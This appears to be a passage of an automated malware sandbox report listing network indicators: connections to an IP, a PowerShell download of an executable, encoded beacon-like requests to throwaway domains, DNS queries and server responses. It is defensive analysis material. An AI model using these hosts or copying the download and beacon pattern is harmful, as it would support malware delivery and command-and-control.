6f 63 00 00 1c 71 00 00 00 20 12 00 00 72 00 00 00 ba 11 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 172.245.208.21 172.245.208.21
Source: Joe Sandbox View	IP Address: 172.67.217.184 172.67.217.184

Source: Joe Sandbox View

ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS

Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.208.21

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 3_2_00A97A18 URLDownloadToFileW,

3_2_00A97A18

Source: global traffic	HTTP traffic detected: GET /233/igcc.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 172.245.208.21Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1imc/?UV90oJV=GkZ+7lZN5ZbT6rZArZ+XuW2LS/GQFqiR2eAXidPe90Y9rybDHdv8GRqVb6FfMfkpXSVDgNv2zaXT/X0CpEMHyOeTTSnvzCMVpGnq9juhbcH3k1fZ/Ho823c=&LVsla=JHrxl4t HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeHost: www.worrr37.yachtsUser-Agent: Mozilla/5.0 (Linux; Android 4.0.4; Mystery Android Smart TV Build/MYSTERY.SMARTTV.20130816) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.107 Safari/537.36 OPR/29.0.1809.93516
Source: global traffic	HTTP traffic detected: GET /ma0g/?LVsla=JHrxl4t&UV90oJV=H2S90RmziCMvLCuK8yTaL3f2umhuNHnT+UjWuF5QkK5TSoHa4lhKP7xjBIvwYHsxlglzK0GWG6GIcHietPpqxtVwo9BPmEy9xm5LwWe49kMrhYdXnmUTf+U= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeHost: www.soportemx-findmy.clickUser-Agent: Mozilla/5.0 (Linux; Android 4.0.4; Mystery Android Smart TV Build/MYSTERY.SMARTTV.20130816) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.107 Safari/537.36 OPR/29.0.1809.93516
Source: global traffic	HTTP traffic detected: GET /lvz4/?LVsla=JHrxl4t&UV90oJV=Xs1PCb/MaYPIPAxC0xa5KYs0mBAqh55MCQOIGo7Nl8rFa4QZz+K5GgFtLYl71/JRpNHUa5jW6jDEqn+5iMTLUOrlc9oIlR4hoTx0RRj+HMWFGvWCftcbeJU= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeHost: www.vczuahand.xyzUser-Agent: Mozilla/5.0 (Linux; Android 4.0.4; Mystery Android Smart TV Build/MYSTERY.SMARTTV.20130816) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.107 Safari/537.36 OPR/29.0.1809.93516
Source: global traffic	HTTP traffic detected: GET /q86a/?UV90oJV=1RS/DLESjC/mKKX8H/biPEM9gARAP1aCo7MGFq+OZJ2Pg2HsdXdlDjVOv2U28y6Xqr87siUnw8FG4MQCr+RpE4Jbc2RQrC0NObuWRju52AhcIqb+addZL2w=&LVsla=JHrxl4t HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeHost: www.855696a.xyzUser-Agent: Mozilla/5.0 (Linux; Android 4.0.4; Mystery Android Smart TV Build/MYSTERY.SMARTTV.20130816) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.107 Safari/537.36 OPR/29.0.1809.93516
Source: global traffic	HTTP traffic detected: GET /pl23/?UV90oJV=pwQm/8Nry++CWhwQL+edwmsiGWUfvm6b9cWiDzs/wKG7gU2SU1fIaah3O92QYMu9f5MkpzQiI887Voc7ljrK5SXzymeZM+96L5laMJ6YTiuiIGaOCWa6b3c=&LVsla=JHrxl4t HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeHost: www.headset2.onlineUser-Agent: Mozilla/5.0 (Linux; Android 4.0.4; Mystery Android Smart TV Build/MYSTERY.SMARTTV.20130816) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.107 Safari/537.36 OPR/29.0.1809.93516
Source: global traffic	HTTP traffic detected: GET /q4wg/?UV90oJV=WxORhD4RgEO5uNW184qlq8Q0sLDKmVXJQFKGj9LBFcZ0l1e50YnvQ+dx8Uckd3rx1A/7IdNYVLsTEbVWPiDE6kUoQ6MsB12dGIVZYU7ysqzBCJWSaxY+T48=&LVsla=JHrxl4t HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeHost: www.futureedge.websiteUser-Agent: Mozilla/5.0 (Linux; Android 4.0.4; Mystery Android Smart TV Build/MYSTERY.SMARTTV.20130816) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.107 Safari/537.36 OPR/29.0.1809.93516
Source: global traffic	HTTP traffic detected: GET /b8n0/?LVsla=JHrxl4t&UV90oJV=kyUzpDR/GXT4UV/+nqvvJVx8HRrNNeN1bnrOTHFLjUDm6VF6u4qvCiKuxhi22xyg+3lxI6NA/7DjeYVJhJi69sZr4sjCAoWURSuJ0WnZK+Wxfh1+frT+mkg= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeHost: www.meshki-co-uk.shopUser-Agent: Mozilla/5.0 (Linux; Android 4.0.4; Mystery Android Smart TV Build/MYSTERY.SMARTTV.20130816) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.107 Safari/537.36 OPR/29.0.1809.93516
Source: global traffic	HTTP traffic detected: GET /6npl/?UV90oJV=/JYiv5NhO0tELAK8hKXRL6yPw09VuQMvi5BuLmngF2OWbpzZErtHeLuo5nDg79GzI2QTdod40q0r+J2P58yW7/6plb4OcALkiS6guO79bLlT8DxgdN065to=&LVsla=JHrxl4t HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeHost: www.anyang-590303492.clickUser-Agent: Mozilla/5.0 (Linux; Android 4.0.4; Mystery Android Smart TV Build/MYSTERY.SMARTTV.20130816) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.107 Safari/537.36 OPR/29.0.1809.93516
Source: global traffic	HTTP traffic detected: GET /m5zm/?UV90oJV=PmzW3uKrzkvafX7YmWso/UgbPLCln62W7aZsDeQW57a8PFgVuI396d9PnNPN9UkA9AF+Unyq0/1iIG4gmLCCW+qdaIFQzw6LJwxTaHYvFotAr8O8Y9RkveE=&LVsla=JHrxl4t HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeHost: www.reiki.voyageUser-Agent: Mozilla/5.0 (Linux; Android 4.0.4; Mystery Android Smart TV Build/MYSTERY.SMARTTV.20130816) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.107 Safari/537.36 OPR/29.0.1809.93516
Source: global traffic	HTTP traffic detected: GET /a2xu/?UV90oJV=jG6ux6r2iflBaU1tQVCr9K9Q4L27yHdJpXWErKL/4Ad9P/5nkj55oo2gDOwPZNYoN7pHD3In5mvXkhGBF69yz65s7gEqX6dtQwXXozW7lMq8H9Uo2bG9SNE=&LVsla=JHrxl4t HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeHost: www.akfix-msk.storeUser-Agent: Mozilla/5.0 (Linux; Android 4.0.4; Mystery Android Smart TV Build/MYSTERY.SMARTTV.20130816) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.107 Safari/537.36 OPR/29.0.1809.93516
Source: global traffic	HTTP traffic detected: GET /ca0u/?UV90oJV=MvRre+3QwZ6yIy+2fyz7YvSSWTAdcKEGQPe5yQw4H7cZIU9bypTiCFjTFWtHevCXXt6GxLHI1FAEgZfYXX1jhre07MuBOcgxovAcCWT1F0UOuG5xezV3UzM=&LVsla=JHrxl4t HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeHost: www.malayexpess.onlineUser-Agent: Mozilla/5.0 (Linux; Android 4.0.4; Mystery Android Smart TV Build/MYSTERY.SMARTTV.20130816) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.107 Safari/537.36 OPR/29.0.1809.93516
Source: global traffic	HTTP traffic detected: GET /pji1/?LVsla=JHrxl4t&UV90oJV=oPSxN0d9Y70P2riykwj378jDK4dA5CWov285JwcUKQzMmNdemng31QxGRPhWi1n81NmvKhZ2Lkv1YeaEtRyFRChPj4DjhNDfDC0AWPeNp3jL6YRDWHxMF/w= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeHost: www.play-venom-rush.xyzUser-Agent: Mozilla/5.0 (Linux; Android 4.0.4; Mystery Android Smart TV Build/MYSTERY.SMARTTV.20130816) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.107 Safari/537.36 OPR/29.0.1809.93516
Source: global traffic	HTTP traffic detected: GET /qasf/?UV90oJV=yuIihCwMXqfTMsBlSG09EuTWxsYqILBvxKvjbtWwi1EQdqGXerweWu7wqlk+gPqu8qljoC2xXboDZUnh0VRArwDFUnRa3BfVv9e4xBxD9zej7fg5DR8Kde0=&LVsla=JHrxl4t HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeHost: www.jicode.xyzUser-Agent: Mozilla/5.0 (Linux; Android 4.0.4; Mystery Android Smart TV Build/MYSTERY.SMARTTV.20130816) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.107 Safari/537.36 OPR/29.0.1809.93516

Source: global traffic	DNS traffic detected: DNS query: www.thykingdomwear.store
Source: global traffic	DNS traffic detected: DNS query: www.worrr37.yachts
Source: global traffic	DNS traffic detected: DNS query: www.soportemx-findmy.click
Source: global traffic	DNS traffic detected: DNS query: www.blackhat.chat
Source: global traffic	DNS traffic detected: DNS query: www.vczuahand.xyz
Source: global traffic	DNS traffic detected: DNS query: www.855696a.xyz
Source: global traffic	DNS traffic detected: DNS query: www.headset2.online
Source: global traffic	DNS traffic detected: DNS query: www.futureedge.website
Source: global traffic	DNS traffic detected: DNS query: www.meshki-co-uk.shop
Source: global traffic	DNS traffic detected: DNS query: www.forjoyi.live
Source: global traffic	DNS traffic detected: DNS query: www.anyang-590303492.click
Source: global traffic	DNS traffic detected: DNS query: www.reiki.voyage
Source: global traffic	DNS traffic detected: DNS query: www.akfix-msk.store
Source: global traffic	DNS traffic detected: DNS query: www.malayexpess.online
Source: global traffic	DNS traffic detected: DNS query: www.play-venom-rush.xyz
Source: global traffic	DNS traffic detected: DNS query: www.jicode.xyz

Source: unknown

HTTP traffic detected: POST /ma0g/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.5Content-Length: 204Cache-Control: no-cacheConnection: closeContent-Type: application/x-www-form-urlencodedHost: www.soportemx-findmy.clickOrigin: http://www.soportemx-findmy.clickReferer: http://www.soportemx-findmy.click/ma0g/User-Agent: Mozilla/5.0 (Linux; Android 4.0.4; Mystery Android Smart TV Build/MYSTERY.SMARTTV.20130816) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.107 Safari/537.36 OPR/29.0.1809.93516Data Raw: 55 56 39 30 6f 4a 56 3d 4b 30 36 64 33 6e 4c 70 6f 77 42 35 62 30 66 7a 2b 6c 54 47 4d 31 2b 53 35 45 67 56 65 30 37 6a 72 46 50 4b 6b 7a 5a 62 6f 34 35 78 44 62 2b 63 38 55 64 70 50 66 74 55 4f 62 32 75 66 33 6b 76 68 41 39 69 54 43 57 50 53 5a 37 73 4b 6c 32 7a 68 2b 64 50 6f 65 39 6b 31 4b 41 50 74 30 2b 74 36 41 74 76 34 57 66 4e 71 58 30 33 73 4e 45 6f 6e 58 51 77 46 4f 76 41 45 6c 47 75 7a 76 6a 50 64 71 5a 4b 58 36 57 6c 54 64 79 4f 41 45 4c 30 4f 61 51 6f 71 4d 74 32 2f 78 63 2b 33 54 42 34 48 49 41 56 39 34 6d 76 66 57 41 36 48 35 46 45 35 54 35 62 6c 67 5a 59 30 55 4f 35 4f 2f 61 56 74 51 3d 3d Data Ascii: UV90oJV=K06d3nLpowB5b0fz+lTGM1+S5EgVe07jrFPKkzZbo45xDb+c8UdpPftUOb2uf3kvhA9iTCWPSZ7sKl2zh+dPoe9k1KAPt0+t6Atv4WfNqX03sNEonXQwFOvAElGuzvjPdqZKX6WlTdyOAEL0OaQoqMt2/xc+3TB4HIAV94mvfWA6H5FE5T5blgZY0UO5O/aVtQ==

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 15 Apr 2025 15:21:22 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "67c25548-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 15 Apr 2025 15:21:25 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "67c25548-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 15 Apr 2025 15:21:28 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "67c25548-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 15 Apr 2025 15:21:31 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "67c25548-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 15 Apr 2025 15:21:38 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 15 Apr 2025 15:21:41 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
